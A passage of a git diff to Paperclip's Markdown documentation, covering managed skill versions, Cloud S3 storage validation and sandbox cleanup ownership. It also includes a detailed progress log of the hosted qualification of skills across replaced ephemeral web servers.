canonical, including the deliberate name `paperclip`; prior normalization cannot
reliably establish their original provenance.
It does not contact S3 or verify credentials, bucket access, database connectivity,
or that a key matches existing encrypted data. Operators must qualify ordinary
S3 put/read/delete with deployment credentials and preserve the existing key.
AWS credentials continue to use the provider's normal SDK credential chain.
Local and self-hosted storage and key-file defaults remain unchanged.
These are prerequisites for shared storage and secrets. They do not establish
that the whole web server is disposable or that all execution and recovery paths
survive web-server replacement. Run-log/trace storage and producer retention are
separate changes.
## Agent Artifact Uploads
When an agent generates a file that a board user or reviewer should inspect as
@@ -2717,6 +2786,24 @@ host cannot start embedded Postgres:
pnpm exec vitest run server/src/__tests__/native-session-resumption.test.ts -t 'publishes the completed task session before provider cleanup'
```
## Version-based skill authoring and delivery
Managed content uses `managed-skill-content.ts`: prepare and verify outside the
publication transaction, then compare the captured head and publish version,
projections, audit and applicable receipt together. `skill-execution-content.ts`
owns disposable filesystem bindings. Do not write managed installed directories
or infer missing content from an absent cache. Keep linked-local behavior explicit.
The [conversion and qualification guide](skill-ephemeral-web-servers.md) documents
bounded eligibility/verification commands and the one-time writer maintenance
boundary. `managed-skill-content.test.ts` covers the focused domain behavior;
`ephemeral-skills-process.test.ts` requires independent disposable Postgres and
S3 fixtures and starts separate Node processes. The optional
`PAPERCLIP_TEST_POSTGRES_ADMIN_URL` creates a random test database per suite.
On hosts with unavailable Tailscale, set `PAPERCLIP_TAILNET_BIND_HOST=127.0.0.1`
for local fixtures to avoid repeated CLI discovery. Do not use fixture timings
collected during builds as hosted performance evidence.
## App-Shipped Skills Catalog
Skill-library reads still reconcile bundled releases, folders, and direct local
+10
View File
@@ -184,6 +184,16 @@ Source feeds and project task lists retain their existing access rules.
Company skills are shared operating capabilities, not privileged objects by default. Every authenticated agent in a company can create, import, install, edit, update, test, reset, and remove that company's skills unless the company has configured an explicit restriction.
Paperclip-managed skills are immutable saved versions. Studio and API authoring
publish complete content before acknowledging a save; stale edits return a version
conflict and Studio retains the draft. Installed repository skills use the same
version-based reads and execution selection. Web-server files are disposable caches
and staging, so compatible replacement servers can read, edit and deliver protected
versions from the same database and remote object storage. Explicit linked-local
sources retain local behavior. Active or recovering run pins prevent deletion even
after an agent detaches the skill. See [ephemeral-server skills](skill-ephemeral-web-servers.md)
for conversion, compatibility and qualification boundaries.
The governing rule is: **skill permissions are opt-in restrictions, not opt-in capabilities**. Missing skill grants never create a denial in an otherwise unconfigured company, and ordinary skill work does not require board confirmation, a draft-only workflow, or an activation approval.
Core Paperclip owns the skill runtime, company-boundary enforcement, policy evaluation contract, API denials, validation, path containment, secret redaction, and activity logging. Those safety invariants cannot be disabled by policy. Open-by-default skill work never authorizes arbitrary host-path reads, unsafe executable content, or policy edits: local imports and scans must stay within Paperclip-known workspace or managed-skill roots, remote sources must resolve to validated immutable content, and platform safety denials must stay distinct from optional administrative restrictions. Paperclip EE may provide detailed administration for per-agent, per-role, per-action, per-source, and protected-skill rules, but EE is not required to use skills and is not an enforcement boundary. Without EE, companies remain open by default and any already-configured restrictions continue to be enforced by core.
+10 -1
View File
@@ -2375,6 +2375,15 @@ unavailable. Preserve current ownership and newer-work fences. See
is automatic and bounded. Unused Git caches can expire and reacquire the recorded
commit after current authorization and hash checks; authored/unproven legacy bytes
remain durable. See [skill package storage](skill-package-storage.md).
- Paperclip ownership is `managed`, with a null source locator and an immutable
current version. Content mutations prepare durable bytes before a short,
authorization-checked compare-and-swap publication. Acknowledged changes do not
depend on an installed web-server directory. Repository installations use the
same committed-version read and execution boundary; linked-local sources are
explicitly outside the empty-disk guarantee. Execution selections, including
empty selections, persist before delivery; recovery reconstructs exact admitted
digests and active/recovering pins prevent deletion. See
[conversion and compatible upgrades](skill-ephemeral-web-servers.md).
- Refresh is serialized per source, checks saved selection revisions, and publishes
valid skills plus per-entry outcomes with required activity records in one transaction.
Failed packages retain prior versions; access/scan/download failures retain all content.
@@ -2382,7 +2391,7 @@ unavailable. Preserve current ownership and newer-work fences. See
- Match by repository identity and exact path. Preserve IDs, keys, assignments, folders,
and history. New key collisions cannot overwrite unrelated skills. Only changed package
bytes or executable modes create versions. Library reads, tests, and subsequent unpinned
runs use local installed snapshots; pinned/active runs retain their versions.
runs use immutable installed snapshots; pinned/active runs retain their versions.
- Runtime version directories are disposable caches. An hourly, bounded sweep may
evict non-current copies unused for one hour, preserving active and unresolved
execution pins. Selection, materialization, and pin persistence serialize with
+4 -3
View File
@@ -24,10 +24,11 @@ Ordinary PRs do not write timing artifacts or export traces. The exporter job is
skipped for ordinary run names. Adding another label does not run the CI matrix.
Profiling preserves the existing trusted AWS runner routing. Eligible PR jobs
use `paperclip-public-pr-x64`; the routing gate uses `paperclip-ci-routing-x64`.
use `paperclip-public-pr-x64`; the routing gate uses `ubuntu-latest` to verify
current CI CODEOWNERS before allocating any AWS capacity.
The existing fail-closed GitHub-hosted fallback still applies if AWS routing
cannot be authorized. Only the separate post-run Honeycomb exporter uses
`ubuntu-latest` directly; it is outside the measured PR suite.
cannot be authorized. The separate post-run Honeycomb exporter also uses
`ubuntu-latest`; it is outside the measured PR suite.
## Read the waterfall
+26 -3
View File
@@ -18,7 +18,8 @@ existing validation at application startup.
to embedded PostgreSQL. Credentials, trust keys, provider configuration and
deployment wiring needed before the database connection remain supplied by
the environment or the existing secret system. This phase parses only the
database connection record. Runtime mode, host binding and authentication
database connection record and requires the stable environment encryption
master key. Runtime mode, host binding and authentication
checks wait until the saved snapshot has loaded.
2. After schema migration and database connection, startup reads the private
runtime configuration row. An existing invalid row or a database error stops
@@ -38,6 +39,27 @@ existing validation at application startup.
authentication and application services. A saved telemetry opt-out therefore
takes effect before a telemetry client can be created.
Managed Cloud always requires a stable environment master key, including when
an external default secrets provider is selected. Internal local-encrypted
credential paths still need that key.
Managed Cloud validates effective S3 storage after publishing the canonical
snapshot, before signing-key initialization, telemetry, authentication or app
construction. Cloud requires S3 and a nonblank bucket; an authoritative absent
configuration needs explicit environment storage settings. Raw saved snapshots
cannot obtain a bucket from a schema default. Every legacy Cloud file must name its
bucket before its one-time import, even if its saved provider is local disk and
an environment bucket is present. Omission or blank values fail before seeding;
The effective storage candidate is validated before seeding, so a rejected
legacy file leaves no canonical row and can be corrected before retry.
Environment overlays are not saved as operator choices. Correct that file before
import, or use the existing absent-file/null-snapshot environment-only setup.
Ordinary self-hosted file defaults remain unchanged.
Already-canonical nonblank values, including `paperclip`, remain authoritative.
Prior normalization cannot reliably distinguish an operator's deliberate name
from a historical default, so this release does not invent retrospective
provenance or replace those saved values.
Existing operator environment overlays keep precedence over saved values.
Reading an overlaid value does not save it back to the database. Credentials and
connection URLs are never copied into this JSONB row.
@@ -78,8 +100,9 @@ bytes. Restart tests prove configuration restoration under a different home;
they do not prove durable file, secret, or backup storage.
The decision signing service still uses `PAPERCLIP_DECISION_SIGNING_SECRET` when
supplied and otherwise reads or creates its instance key file before the database
connection. The local encrypted secret provider still uses its environment key
supplied and otherwise reads or creates its instance key file. Managed Cloud
performs that step after effective storage validation; self-hosted startup keeps
its pre-connection ordering. The local encrypted secret provider still uses its environment key
or existing key-file mechanism. Those byte-storage fallbacks are outside this
configuration migration. Qualification must account for them separately; this
PR does not establish file-free secret storage on Cloud.
+10 -1
View File
@@ -62,6 +62,15 @@ self-hosted/Cloud targets and separately selected local/Daytona agents. Account
and credential bindings stay in the private eval repo; registration and oracle
tests do not establish a completed live pass or unattended CI qualification.
The deployment-targeted `question-answer-resume` journey reuses the classic
two-question scenario and native continuation oracle on an attached target.
It checks the actual board answers, one to three bound work runs, an agent-authored
task document and browser readback after reload. It accepts provider questions and
durable questions proven by an applied semantic receipt or an immutable completed
native API mutation receipt. It does not qualify named-tool selection. Its provider owns target setup,
usage and cleanup. Registration and local calibration do not establish a fresh
Cloud pass or inclusion in a recurring selection.
The explicit-only [necessary free-text question journey](../tests/runner-e2e/README.md#necessary-free-text-question)
checks one essential input, the rendered prompt and context, the real answer,
one bound continuation, and an exact saved confirmation. Its four development
@@ -548,7 +557,7 @@ any qualification claim; catalog presence alone is not a pass.
The explicit-only [native question/resume qualification](../tests/runner-e2e/README.md#task-continuation)
separates a completed two-answer user journey from semantic-tool documentation
qualification. It verifies the exact provider-pause or semantic-response-wake
qualification. It verifies the exact provider-pause or native response-wake
binding for each answer and preserves prior grades when the definition changes.
## Lifecycle behavior baseline
+50 -6
View File
@@ -11,7 +11,7 @@ or an orphaned active lease. Explicit user retry keeps its existing direct path.
| Duty | Truth | Trigger and next deadline | Quiet condition |
| --- | --- | --- | --- |
| Failed teardown | Existing `environment_leases` rows in `pending_cleanup` | Commit signal; later of row backoff and saved retry/ownership deadline | No pending lease or deferred orphan |
| Failed acquisition before a DB row exists | Existing local orphan spool and the producing runtime's buffer | Local buffer registration; five-minute retry while buffered; startup spool load | Durable row owns recovery and spool copy is removed |
| Interrupted acquisition | `sandbox_creation_operations` committed before provider creation | Transaction signal; saved acquisition deadline; five-minute backoff after recovery failure | Normal lease or one claimed cleanup lease owns the resource; unsupported uncertainty requires operator reconciliation |
| Historical provider verification | Existing failed ephemeral leases and finished custom-image setups without matching cleanup proof | Commit signal; five-minute retry while an unverified candidate remains | No unverified candidates, including retained verified history |
`environment-cleanup-state.ts` owns the deadline query and the shared safe reader
@@ -47,8 +47,9 @@ settlement and uncertainty handling through the shared DB implementation.
- `heartbeat/recovery.ts` and `heartbeat/run-control.ts`: orphan-active recovery,
retry settlement, and explicit recovery of historical leases.
- `environment-task-runtime.ts`: unconfirmed plugin task termination and plugin
replacement orphans, including a registered deferred flusher when the row
cannot be written. The flusher retains an idle hold until the row is durable.
replacement creations. Replacement intent commits before the provider call.
- `sandbox-creation-operations.ts`: admission, atomic lease transfer, and bounded
recovery. An unavailable database stops admission before external creation.
- `sandbox-stop-and-retain.ts`: persisted Stop intent and its settlement.
- `native-workspace-export-resume.ts` and `native-workspace-export-retry.ts`:
terminal-export cleanup, resumed-export cleanup claims, and settlement.
@@ -64,7 +65,49 @@ already pending claim remain covered by its existing deadline. Deletion removes
work; an already scheduled reconciliation observes that removal. Independent SQL
writers and another server process are not covered by these process-local signals.
## Deferred orphan buffers
## Creation ownership
A creation operation retains company, original environment, run, request identity,
provider, and nonsecret configuration references. Its environment FK uses SET NULL;
company/run/task identifiers remain after those records are removed. One operation
owns each company/environment/run/request. A retry of an attached operation returns
its active lease. Pending or unresolved ownership never authorizes another create.
Normal success transfers operation ownership and the lease in one transaction.
Current company binding and run authority are checked again at attachment.
Declared secret-reference fields retain only their references and nonsecret value
hashes. Recovery refuses lookup under a changed credential value; it records manual
reconciliation instead of treating a missing resource in a new account as proof.
A missing, deleted, disabled, or archived saved secret, a missing or inactive saved version,
or an explicitly disabled/coming-soon provider vault also records manual
reconciliation before provider lookup. Admin-disabled credentials require operator
reconciliation; recovery does not reactivate or use them. Temporary secret-provider
or database failures retain the pending operation and its retry deadline.
Recovery never resumes partially prepared execution. It asks a capable provider to
inspect the stable creation identity, validates its ownership envelope, and transfers
one cleanup lease under the operation lock. The existing claimed cleanup worker
owns deletion and confirms resolution. Failed lookup/transfer records a bounded
retry and permits other operations to proceed. An attached operation cannot transfer
to cleanup. Pending creation blocks instance sleep until its obligation transfers.
Daytona version 0.1.10 declares creationOperationVersion 1. It uses the committed
operation UUID in its existing creation name and labels. Recovery uses an explicit
creationOperation request on the existing read-only inspect hook and strict failed-creation deletion path. Normal lease
inspection still uses its recorded resource ID; creationOperationId metadata is
provenance only. A missing name alone cannot prove a late allocation will never appear. Missing identity or an
unsupported provider records needs_reconciliation and an operation-scoped warning.
A deleted company also records manual reconciliation before credential lookup or
cleanup transfer. A company lock fences deletion during the transfer transaction.
That manual diagnostic has no automatic timer and does not prevent idle. The row
must be reconciled before retrying the same request. Other providers do not yet
claim automatic creation lookup. Generic plugin operations retain identity only, including a returned task resource
ID before expiry checks or lease attachment. A failed or ambiguous attachment keeps
that known ID for reconciliation; it does not authorize unconditional release.
These operations do not copy credentials, resolved configuration, or provider
payloads into the operation record. A lost provider reply can still leave the
resource ID unknown.
## Legacy deferred orphan buffers
Runtimes that hold an unwritten orphan register their flusher in a registry scoped
to the shared database handle. Registration wakes the worker without contacting
@@ -75,8 +118,9 @@ runtime. The registry retains only runtimes with unresolved buffer ownership.
Unreadable directories, records, and malformed records retain a retry; a missing
spool directory is an empty spool. A spool read failure still allows other runtimes to flush their buffers and
persisted leases to clean up, then fails the sweep so recovery stays scheduled.
Each concrete cleanup pass reloads the spool, including entries appended by
plugin task replacement after startup and entries beyond buffer capacity.
Each concrete cleanup pass reloads existing legacy spool entries, including entries
beyond buffer capacity. Normal acquisition and plugin task replacement do not append
new fallback files. Retained entries remain available for the separate cutover inventory.
No empty-spool filesystem or database polling is introduced. Existing limits on a simultaneous database,
spool, and buffer-capacity failure remain; this is not a new durable queue.
@@ -0,0 +1,462 @@
# Skills on ephemeral web servers
## Qualification status
Implementation is in [PR #18334](https://github.com/paperclipai/paperclip/pull/18334).
Hosted qualification uses the owned disposable
[test tenant](https://ephemeral-skills-qa-oct-30.test.paperclip.app), external
Postgres, S3, and a real remote Paperclip Computer. Cloud policy reserves the
staging domain for master; the rejected staging branch request below made no
deployment.
- **Passed:** independent-process PostgreSQL/S3 failure matrix; hosted A → B → C
replacement with predecessor homes absent; C reads and executes B's acknowledged
save; historical repository pin delivery while a newer revision is installed.
- **Passed:** full CI and code review at `7ec495de77`, confidence 5/5, no
unresolved findings. Workspace typecheck/build, focused regressions and the
separate-process replacement matrix passed. Local timeout attempts remain
recorded below; their results are not counted as passes.
- **Passed:** compatible image rollback to `6518b323` retained the newer managed
revisions and delivered their bytes plus the historical repository pin remotely.
- **Passed:** deployed unassigned-skill Studio retry: the exact fork v3 was
delivered and executed, Studio reached `succeeded`, and its output snapshot
persisted. Independent package verification found zero blockers.
- The maintenance CLI configuration bootstrap regression and server typecheck
passed. The PR records final CI/review status for the commit containing this
evidence update.
Runtime candidate `9200e3fcb4` contains the native Studio selection/completion and
legacy completeness fixes. It is deployed and qualified. Later changes integrate
master, protect drafts during a delayed UI reload, and load persisted Cloud
configuration in the maintenance CLI; their verification is recorded separately.
The chronological record below
retains earlier failures and intermediate pending states; this section describes
the current qualification status.
## Accepted contract
Given the same database, object storage, secrets, and supported application
artifacts, a replacement server must discover, read, edit, and deliver protected
installed skill versions without its predecessor's files or process memory.
Disk is permitted for disposable scratch, verified caches, and execution delivery.
Managed authoring and library operations address immutable content, not a mutable
installed directory. Git remains the authoring source for repository skills;
installed revisions and run pins govern delivery. Linked local sources remain an
explicit self-hosted compatibility boundary.
Current, pinned, active/recovering, and authored versions retain durable bytes.
Unused historical Git versions keep the existing expiry/exact-commit policy.
Legacy conversion may use one maintenance window. Compatible later upgrades and
rollback use the same remote state. Other web-server persistence, Railway traffic
handoff, and production volume removal are outside this slice.
## Delivery and acceptance
1. Introduce managed ownership and content publication without installed paths;
preserve access, atomic metadata/version publication, idempotency, conflicts,
and active-run retention. Update Studio and API consumers.
2. Separate selection/pinning from materialization; restore exact runtime digests.
Add bounded legacy conversion and disk-independent eligibility diagnostics.
3. Prove cold A → B → C replacements, concurrent writers, uncertain commits,
offline upstream, corrupt/missing objects, access, retention and idle behavior.
Run required checks and qualify one disposable staging tenant with a real
remote agent. Finish with a reviewable PR and exact revision/evidence links.
## Canonical work and progress
- Worktree: `/Users/dotta/.codex/worktrees/d084/paperclip`
- Branch: `codex/skills-ephemeral-web`
- Draft PR: https://github.com/paperclipai/paperclip/pull/18334
- Approved plan: this chat, “Skills on ephemeral web servers,” nine sections.
- Implemented managed create/read/edit/delete-file/fork/rename/restore publication,
immutable catalog installation/reset, Studio version conflict recovery, durable
pre-materialization selection and exact pinned-runtime rehydration. Source
disconnect retains immutable content and access provenance.
- Added bounded installation conversion, eligibility and independent version
verification to existing migration tooling; conversion requires retired writers.
- Independent OS-process A → B → C qualification passed using owned Docker
PostgreSQL and RustFS S3 fixtures. Real HTTP routes covered saves, supporting
executable content, uncertain commit receipts, stale concurrent saves and upload
crashes. This is not hosted Runner qualification.
- Studio tests: 14 passed, including draft preservation and confirmed reload.
- Workspace typecheck and build passed. Map checks and UI token gates passed.
Broader compatibility coverage passed 362 cases; follow-up runs passed migration,
policy, package, project access and retained-run cases after updating old model
expectations. Final focused checks and the full repository suite are running.
- One-connection tests now exercise package acquisition before the publication
transaction. Fork reassignment also uses the transaction's database handle.
- Host embedded Postgres cannot initialize: exhausted kernel semaphore pool.
Owned Docker fixtures are `paperclip-skills-ephemeral-pg` (port 61006) and
`paperclip-skills-ephemeral-s3` (port 61007). No unrelated databases changed.
- Disposable staging tenant created through normal onboarding:
https://ephemeral-skills-qa-oct-30.staging.paperclip.app
Agent `dfd238b5-5e5d-43ef-b34a-cb5bff2267f3` (Skills Qualification), paused.
OpenAI API-key setup uses the explicitly authorized local credential. Candidate
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` is building under release run
https://github.com/paperclipai/paperclip/actions/runs/41085949238.
Single-tenant deploy request: `c65f3677-4b4e-4687-957a-28e2bfb89451`.
Stack `stack-pool-50f5009d5644` is user-managed during qualification so unrelated
fleet rollouts cannot replace the test candidate. No live run claimed yet.
- Greptile's first review found root-package path truncation, linked-local fork
and restore regressions, and a concurrent receipt replay race. Fixed all four;
focused review checks passed 76 server and 16 Studio tests. CI also exposed
obsolete host-path fixtures and a company-deletion/publication race. Updated
those fixtures and publication locking; 20 targeted integration tests passed.
Skill detail now resolves existing metadata without seeding the entire library.
- Remaining: finish repository checks and PR review, candidate deployment and
fresh-home remote Runner qualification including compatible rollback. The PR
stays draft until hosted qualification and the final checks are complete.
- Greptile reached 5/5 with all six comments resolved at `8c0fae76a6`.
CI at that revision passed typecheck, build, all unit/integration shards and
Runner checks; two browser shards still require investigation. The shared-chat
question fixture's five-second assertion raced a successful asynchronous run;
its readiness wait now follows the existing run-settlement helper.
- A cold metadata assertion exposed three manifest downloads during history
listing. New versions now persist a complete metadata index and migration
backfills legacy indexes without changing content/version identity. Process
qualification confirmed zero metadata/warm downloads; its tiny fixture measured
a 176 ms cold read (two objects, 899 bytes), 37 ms warm execution preparation,
899 MB process RSS and 820 bytes of temporary files. These local fixture numbers
are not hosted latency or incremental memory claims. A follow-up compatibility
run caught changed file ordering; preserving the existing order fixes that drift.
- Metadata/package compatibility passed all 44 tests after preserving file order.
Both affected browser cases passed independently. Stop/reset now allows a bounded
30-second cold startup; its failure trace showed cancellation during preparation
when the old five-second assertion expired, before the fixture began streaming.
- The baseline image published successfully, but the deployment check rejected the
branch with `fleet_campaign_staging_requires_master` (Cloud run `41092962684`).
Current Cloud policy uses `test.paperclip.app` for branch experiments. The local
Cloud checkout's older runbook missed this boundary. Qualification is moving to
an owned disposable test tenant; the rejected request made no tenant deployment.
- All 53 applicable CI checks passed at `0dc9a42a6f` (two skipped checks).
The next review found that complete metadata indexes bypassed the unchanged
linked-local manifest shortcut. Whole-package identity mappings now retain that
shortcut; subsets and remapped paths still use their projected inventory.
- A new concurrency regression reproduced a content save overwriting an already
acknowledged metadata edit. Publication now checks the metadata fields it will
replace as well as the version head, and returns 409 when they changed during
preparation. The managed-content and catalog suites passed after this fix.
- Local package/project checks hit timing limits while an older full-suite worker
remained active for over 80 minutes. That task-owned run was stopped; it is not
recorded as a full-suite pass. All four isolated package cases then passed,
including the two previous timeout failures and the linked-local regression.
Final project-access/process qualification is running sequentially. Server
typecheck passed with both final fixes.
- Correct disposable branch-test tenant:
https://ephemeral-skills-qa-oct-30.test.paperclip.app
Stack `stack-ephemeral-skills-qa-oct-30` is pinned user-managed. Baseline A
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` is confirmed serving from image
`ghcr.io/paperclipai/paperclip:sha-6518b323528b2b595c5949c3ed2c57a8d2438cb6-cloud`.
Deploy request `19c33461-d232-453a-bdd1-ba357459be48`, campaign
`fleet-campaign-1793366873548`, Cloud run `41094804453`: one target succeeded.
The user approved saving the same OpenAI key to this test tenant; its remote
Codex environment verification succeeded on a Paperclip Computer.
- Studio created unassigned managed skill `3ade7878-8aaf-47c7-aebd-7da23a8afb5d`
(Ephemeral Skills Proof), with instructions, `references/value.txt`, and
`scripts/prove.sh`. Remote agent `300911d4-590d-4a26-b1c0-c80db14fa072` is
preparing the executable flag through the ordinary API. Fresh-home replacement,
delivered-byte verification and compatible rollback remain pending.
- Final sequential project-access/process qualification passed all 31 cases;
the complete-map package checks passed all four isolated cases. The metadata
and linked-local fixes were pushed as `ceab192b1774fcb5be17db57de5579d81007b9c1`.
- Remote preparation task EPH-1 saved revision 6, version
`1abec28d-dd4a-4763-acd4-5a67af874911`, with the script executable. All three
reported file digests match hashes independently computed from the Studio
inputs. Company: `16cfa89e-f159-5040-927e-aca46ee87c2f`.
- Baseline Studio test `81951c91-ec59-4eae-b5c5-c0083119f6ae` failed before
execution (`b326a961-c1b8-43ad-b38b-7f6424939ee3`): its route constructed
heartbeat without the existing plugin worker manager. This is a route wiring
failure, not missing skill content or missing image dependencies. The fix passes
the app's existing manager through the Studio route to execution, matching other
task routes. No Cloud composition/admission policy changes are required.
The first route-suite attempt hit its 30-second module-load setup timeout before
any test ran; a bounded 120-second setup-budget retry is running.
- The Studio route regression suite passed all 64 cases on retry, and server
typecheck passed. The managed sandbox manager is reused from app construction;
no provider behavior, permissions or lifecycle ownership changed.
- Baseline remote task EPH-3 passed on run
`07a711a9-a7d7-45e3-8c00-f64f71d2a9cc`: the delivered v6 script ran directly
with mode `555`, printed `skill-script-A: durable-skill-payload-A-20261030`,
and all three file digests matched independently calculated input digests.
Its saved task document records the execution-local installation path.
- Imported repository skill `581b718a-3681-48c4-96d5-87d12b694550` from
`paperclipai/paperclip` commit `dff63551fe07934a82a0942e502adba3fcbb08ca`.
The existing import filter admitted 12 files and excluded the API reference.
A later explicit source refresh hit the repository size limit and retained
the installed revision. That refresh is not counted as a successful update.
- Test-only env campaign `fleet-campaign-1793366873581` succeeded at
`2026-10-30T17:38:00.006Z`, changing only `PAPERCLIP_HOME` to
`/tmp/ephemeral-skills-a` on `stack-ephemeral-skills-qa-oct-30`.
Audit evidence reports one target, one key, zero removed keys, and unchanged
Computer images. Studio reopened v6 with its supporting files afterward.
Unassigned fork `6381a0a0-582b-4d26-b858-4e56b606e07c` was created through
Studio and saved as v2 with `unassigned-payload-A-20261030` in its reference.
- Review of `35b6a12fe4` identified a forced catalog reinstall conflicting with
its own audit metadata write. A real Postgres regression reproduced the 409.
Candidate auditing is now read-only; successful publication commits the new
audit metadata, while unchanged/rejected operations retain audit reporting.
Regression checks cover forced reinstall, a new slug, and a competing metadata
writer. The combined catalog/managed run passed 29 cases and hit one unrelated
15-second asset-test timeout; all four focused catalog cases passed on an
isolated rerun. Server typecheck passed.
- Latest browser CI exposed another five-second startup assertion in the
feature-disable journey. Its trace showed an active adapter invocation before
the fixture's first message. The assertion now uses the existing 30-second
cold-start budget; the exact browser journey passed locally in 12.5 seconds.
No feature-disable behavior or fixture completion assertions changed.
- Latest code review of `07fffa749511a39b05b2dbc43adcce842195398a` is 5/5,
with zero unresolved review threads. Hosted candidate build is run
`41101360597`; baseline A remains deployed until it completes.
- Provider console independently confirmed external Neon Postgres and S3 on A,
with `PAPERCLIP_HOME=/tmp/ephemeral-skills-a`, deployment
`5fc05d1a-2451-465c-8a15-16b18d1e0d3d`, replica
`f7393d02-49b6-40b9-ae94-db9181300bf4`. A temporary marker was written to
that home so a later container can prove the predecessor's local state is absent.
- Imported the smaller `vercel-labs/agent-skills` repository at exact commit
`93f5a2dee1a270015473e19d24a758a012fa058b`: skill
`3e9f2b84-2d15-49f9-a5c0-8596f4c6e313`, source
`0c03e633-d22e-4a63-b5a5-843823f2eb7b`, 75 admitted files.
Early pin attempts were rejected by the existing Beta skills gate. The late
error toast was confirmed; read-only DB inspection showed no saved pin.
- Beta skills is a tenant preference, so fleet feature override correctly
rejected it as non-managed. Test-only env campaign
`fleet-campaign-1793366873607` exposed only this preference, preserving the
complete existing hidden-settings list and temporary A home. It succeeded at
`2026-10-30T18:04:20.150Z`: one target, two keys, zero removed keys, unchanged
Computer images. The tenant's normal Experimental UI then saved Beta skills
enabled. No fleet default, identity, permission, or volume policy changed.
- The preference campaign replaced A's container: deployment
`9ba9202e-7f47-4edd-b501-aa807760b132`, replica
`d2131533-f4d2-4173-b984-ca46beaef61c`. Provider console observed the
predecessor marker absent, then wrote a new A2 marker for the next replacement.
- Repository assignment saved through the library UI as historical version
`918e2066-b241-4cdc-934a-db896138240b` (revision 1, `GitHub 93f5a2de`).
Explicit source refresh to main published current revision 2
`fa3bb9ac-fcd9-443b-970c-f62590f881dc` (`GitHub 1a2c79d4`); automatic
updates remain paused for this fixture.
- Remote task EPH-4 (`e561a058-3e2d-4f90-9899-a69c6539ed42`), run
`9917cfa3-caed-400a-b1a0-58183e2e2614`, passed after A's temporary state
was replaced. Managed v6 hashes/output/mode matched EPH-3. The repository
wrapper delivered revision 1 while revision 2 was current. Independently read
exact-commit upstream contents matched the delivered instruction digest
`50b55178a2da8ee931850193596601fa0517cd800e171366a903769f25bf4dda`
and `rules/async-parallel.md` digest
`6d2f841896279e976dfcdc1ac89e70771ac188baadfd43c096b5706cb838b961`.
The agent used the rule to recommend parallel independent fetches and saved
paths, command results and API history in task document `immutable-pin-proof`.
- Required CI gates `ci / verify` and `ci / e2e` passed on `07fffa749`.
Latest check rollup: 52 success, two skipped, one cancelled advisory review
job; Greptile separately completed at 5/5 with no unresolved threads.
- Candidate `07fffa749` deployed successfully through core-only test request
`d4e172e8-a861-48cc-ae9c-e2f26c8ee636`, Cloud run `41106109829`.
B is deployment `ed70e789-22c3-4b93-93de-da61d7f30ca4`, replica
`16fbb2e8-a7b3-4f32-a483-bc2f5c77a8ee`, with
`PAPERCLIP_HOME=/tmp/ephemeral-skills-b`. Local health confirmed the code SHA;
provider console confirmed A's home and marker absent. The unassigned fork
opened as v2 with zero agents. Studio acknowledged a supporting-file edit to
the primary managed skill as v7 (`durable-skill-payload-B-20261030`).
- Independent verification on B read 23 saved versions: 21 `remote_storage`
results and two `database_release_snapshot` results. No corrupt, missing,
local-storage or provider-mismatch results. The next cursor returned zero.
- Live Studio test EPH-5, test `9c4f3775-2793-46c6-b09d-e3343e0e4c65`,
heartbeat `7fe45977-a061-408b-b7c5-5721a7e9f08b`, passed the repaired plugin
wiring but failed native admission: `skill_test` was excluded by Runner's
task-mode allowlist and execution-input parser. This failure is retained;
the Studio acceptance requirement remains pending a deployed retry.
- Follow-up admits and preserves `skill_test` through the existing native
selection, execution contract and tool bindings. It does not relabel tests
as standard work. Task-bound JWT restrictions remain with their authorization
owners; the native surface is restricted as detailed below. No executor refactor or
Rust protocol change is needed. Older images that reject this mode cannot
continue a new Studio test; rollback qualification settles tests first.
- Follow-up local checks: 78 admission/input tests, 109 Runner contract tests,
40 assigned-MCP tests, and three real-HTTP skill-test scope regressions passed.
Initial scope/MCP attempts encountered sandbox socket restrictions; permitted
retries passed. Runner TypeScript/Rust checks and server TypeScript check
passed. Maps remain aligned (35 areas, 192 capabilities).
- B's v7 is `e1f96114-6be5-4878-b9ae-269bac0da215`; independent hash of
its supporting file is `c2d9b967aa8ddfad7896804ea1a7ae613b8ff631ff6a084cee7553125bc7fd27`.
EPH-6 (`c5377e90-c80c-4f97-8ada-c4eaf205af0a`), run
`96537d81-b224-442a-9ec1-993fbd89ff56`, completed successfully and saved
`server-b-skill-proof`. Direct script output contained the B payload; executable
mode remained 555, other managed hashes were unchanged, and repository v1
instruction/rule hashes matched the independent exact-commit reference.
- C home campaign `fleet-campaign-1793366873685` (target
`fleet-campaign-target-1793366873686`) succeeded at
`2026-10-30T18:36:03.930Z`, preserving both managed env keys and Computer images.
Deployment `462e3327-e49b-4096-b5e2-73f5db058a9f`, replica
`01c696c4-89b9-4358-9c2b-108faa4c9d50`, served `07fffa749` with home
`/tmp/ephemeral-skills-c`. Console verified A and B directories and B's marker
absent. Studio cold-read v7 and the exact acknowledged B payload.
- Unassigned fork v2 identity was independently confirmed as
`8b008393-f909-424a-9f68-1995231455a7`. It remained at zero assignments on C;
its supporting file was then edited through Studio to a C-specific payload.
Execution on the candidate with native Studio admission remains pending.
- C's remote EPH-7 (`d57f6f66-7072-4fb9-abde-199edf5192ef`), run
`c7f89682-ab9b-4f00-940f-88967c6c0264`, completed successfully. The saved
`server-c-skill-proof` document (revision `8129375b-f56c-4b80-99b0-637481a31f72`)
was independently opened and read. All five hashes matched the B run and
independent references. Its new session `7f164893cdc73464e112e2572baed3ddc166bb29485d770c37fbf7449793cdc0`
executed the unchanged script with exit 0, mode 0555 and the exact B payload.
The managed selected/current version remained v7, and repository selection
remained v1 while its current head remained v2.
- Review of `8821b040` found that native task creation omitted the admitted
skill-test scope. Image build `41108317938` was cancelled before deployment.
Native authorization now carries the saved scope, denies company/peer tools,
task creation and external tools, and checks the scope before mutation receipt
replay. Task context contains only the harness task. Real database regressions
exercise both fresh tests and persisted tests after their task mode changes.
- Native scope checks passed: three new real-database cases plus four REST
scope/image-access cases. The existing native tool-authority suite passed all
37 tests. Server typecheck and map checks passed. The initial new-test attempts
corrected a fixture tool name and matched the existing privacy-preserving 404
for unrelated tasks; own-task reads returned 200.
- `350f1b377c459420a1c1474723501a4bccc6d7fc` received Greptile 5/5.
The native-scope review thread is resolved. Test deployment request
`d2480188-1fc9-4a22-a32b-16af7f439ca4` prepared in Cloud run `41110650568`;
candidate image build is `41110729544`.
- The fork's C save is version `ef34d9e5-2533-497e-8411-a797117afb4a`.
C's durable `tool.execution.completed` event at sequence 322 was inspected
independently of the report: the real shell command completed with exit 0,
mode 555, all five expected hashes, and `skill-script-A: durable-skill-payload-B-20261030`.
A disposable `qualification-marker-c` was written in C's temporary home for
